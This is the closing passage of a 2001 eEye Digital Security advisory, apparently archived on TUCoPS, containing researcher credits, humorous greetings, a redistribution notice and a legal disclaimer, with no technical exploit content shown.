Ryan Permeh - for technical advice and exploitation analysis for those
difficult reverse engineering situations that Ryan has wet dreams
about.
Marc Maiffret - as always with superb technical insight helping to
discover and exploit the vulnerabilities in this advisory and once
again proving that two heads are better than one.
Neothoth - \"The typing machine\", for camping out day and night in the
eEye lab hammering vulnerabilities in URL handlers. Neo rocks :)
Greetings:
Mr. Patron and his tequila and the Three Wise Men(jim, jack and
johnny). Also Abraxas coffeeshop in Amsterdam. eEye would like to offer
thanks to all organizations supporting full disclosure, especially
Securityfocus.com and NMRC. Don\'t let silly politics get in the way of
what is right for everyone\'s security.
oh yeah, one more thing:
Four score and numerous advisories ago, a security company set off to
tell the world about its love of Tequila. However, little did people
know, the team was not even legal. Now that the youngin\'s Marc and
Riley turned 21 this Nov. we are all officially legal. That means the
next time the NSA buys us beer at a sec conference, they wont be
breaking the law.
Copyright (c) 1998-2001 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
alert@eEye.com for permission.
Disclaimer
The information provided in this advisory may change without notice.
Your reproduction or use of this information shall constitute your
acceptance of the terms in this paragraph. This information is provided
\"AS IS\" and eEye Digital Security disclaims all warranties, express
and implied, with regard to this information. This information is
provided only for legitimate security analysis purposes. eEye Digital
Security does not condone the unauthorized access of systems or the
writing or launching of worms, viruses or other software for malicious
purposes, and specifically prohibits the use or reproduction of this
information for such purposes. In no event shall eEye Digital Security
or any author be liable for any damages whatsoever arising out of or in
connection with the use or dissemination of this information. Any use
of this information is at the user\'s own risk.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH